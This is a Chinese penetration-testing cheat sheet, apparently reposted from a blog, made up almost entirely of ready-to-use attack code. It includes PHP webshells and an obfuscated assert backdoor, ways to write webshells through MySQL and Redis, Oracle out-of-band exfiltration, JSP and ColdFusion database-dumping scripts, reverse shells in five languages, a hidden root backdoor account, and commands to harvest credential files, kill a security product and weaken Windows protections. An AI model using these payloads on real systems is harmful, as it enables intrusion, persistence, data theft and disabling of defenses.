渗透常用代码

PHP相关

    <?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?>

    <?php include "$_GET['_']"; ?>

    <?php assert($_POST["1"]);?>

    <?php
    $url = "http://x.x.x.x/shell.txt";
    $contents = file_get_contents($url);
    echo $contents;
    ?> 

Mysql数据库
phpmyadmin爆路径

    http://url/phpMyAdmin/libraries/select_lang.lib.php

SQL语句导出shell:

    select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php';

Redis数据库
写shell:

    config set dir D:\www
    config set dbfilename shell.php
    set webshell "<?php eval($_POST[x]);?>"
    save

Oracle数据库
查数据库ip

    select sys_context('userenv','ip_address') from dual

通过外连回传数据

    SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1

查询所有表

    SELECT * FROM ALL_TABLES

查询当前用户表

    select table_name from user_tables;

查询所有表按大小排序

    SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES   order by  NUM_ROWS  desc
    select table_name,NUM_ROWS from user_tables     order by  NUM_ROWS  desc

查询表前十条

    select  *   from  users  where  rownum < 10

分页查询 2000000 到 4000000

    SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000

查询当前编码

    select userenv('language') from dual;

命令行执行

    export NLS_LANG="american_america.AL32UTF8"

拖库脚本
JSP1

    <%@ page contentType="text/html;charset=UTF-8"%>
    <%@ page import="java.io.*,java.lang.*,java.sql.*"%>
    <%
    Class.forName("oracle.jdbc.driver.OracleDriver");
    Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
    File f = new File("/webapps/ROOT/css/t1.txt");
    BufferedWriter bw = new BufferedWriter(new FileWriter(f));
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    ResultSet rs=stmt.executeQuery("select  *   from  member where  rownum > 2000000");
    ResultSetMetaData rsmd = rs.getMetaData();
    int numberOfColumns = rsmd.getColumnCount();
    for(int i=1;i<numberOfColumns+1;i++){
        bw.write(rsmd.getColumnName(i)+",");
    }
    while (rs.next()){
        for(int i=1;i<numberOfColumns+1;i++){
            bw.write(rs.getString(i)+",");
        }
        bw.newLine();
        bw.flush();
    }
    out.print(rs);   
    %>

JSP2

    <%@ page contentType="text/html;charset=UTF-8"%>
    <%@ page import="java.io.*,java.lang.*,java.sql.*"%>
    <%
    Class.forName("oracle.jdbc.driver.OracleDriver");
    Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
    String html="";
    File file = new File("/tmp/data.txt");
    BufferedReader br = new BufferedReader(new FileReader(file));
    String line;
    while ((line = br.readLine()) != null) {
        html=html+"<h3>"+line+":</h3><table border=1><tr>";
        ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
        ResultSetMetaData rsmd = rs.getMetaData();
        int numberOfColumns = rsmd.getColumnCount();
        for(int i=1;i<numberOfColumns+1;i++){
            html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
        }
        html+="</tr>";
        while (rs.next()){
            html+="<tr>";
            for(int i=1;i<numberOfColumns+1;i++){
                html=html+"<td>"+rs.getString(i)+"</td>";
            }
            html+="</tr>";
        }
        rs.close();
        html+="<tr></table>";
    }
        File f = new File("/tmp/info.css");
        BufferedWriter bw = new BufferedWriter(new FileWriter(f));
        bw.write(html);
        bw.close();
        br.close();
        stmt.close();
        conn.close();
    %> 

ColdFusion

    <CFSET USERNAME="user">
    <CFSET PASSWORD="pass">
    <CFSET DATABASE="ya_db">
    <CFTRY>
    <CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
    SELECT * FROM MEMBER
    </CFQUERY>
    <CFCATCH Type="Any"></CFCATCH>
    </CFTRY>
    <CFSAVECONTENT variable="Dump_DATA">
    <CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
    </CFSAVECONTENT>
    <cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">

反弹shell
bash

    bash -i >& /dev/tcp/1.1.1.1/1234 0>&1

    rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p

ruby

    ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

perl

    perl -e 'use Socket;$i="1.1.1.1";
    $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
    if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
    open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

    python -c 'import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("1.1.1.1",1234));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);'

php

    php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Windows取消共享文件夹安全警告

    @echo off
    Reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PolicIEs\Associations /v LowRiskFileTypes /t REG_SZ /d .exe;.reg;.msi;.bat;.cmd;.com;.vbs;.hta;.scr;.pif;.js;.lnk; /f 

kill安全狗3.x

    ntsd -c q -pn SafeDogGuardCenter.exe

其他
python Simple HTTP服务：

    python -m SimpleHTTPServer 

Linux相关技巧
压缩目录

    zip  -r  root.zip  /root/*
    tar -czvf root.tar.gz /root/
    tar -cvf  user/tmp/ooouser.tar  user/  --exclude=image --exclude= --exclude *.jpg --exclude *.gif  --exclude *.zip  --exclude *.bmp  --exclude *.eps --exclude *.psd 

添加用户并设置密码

    useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

收集所有.sh .pl .py .conf .cnf .ini .history .pass* (/usr/share目录里面的除外) 并打包成zip

    find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@

array_push 后门

    array_map("ass\x65rt",(array)$_REQUEST['array']);

开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

转载于:https://www.cnblogs.com/Chorder/p/9114508.html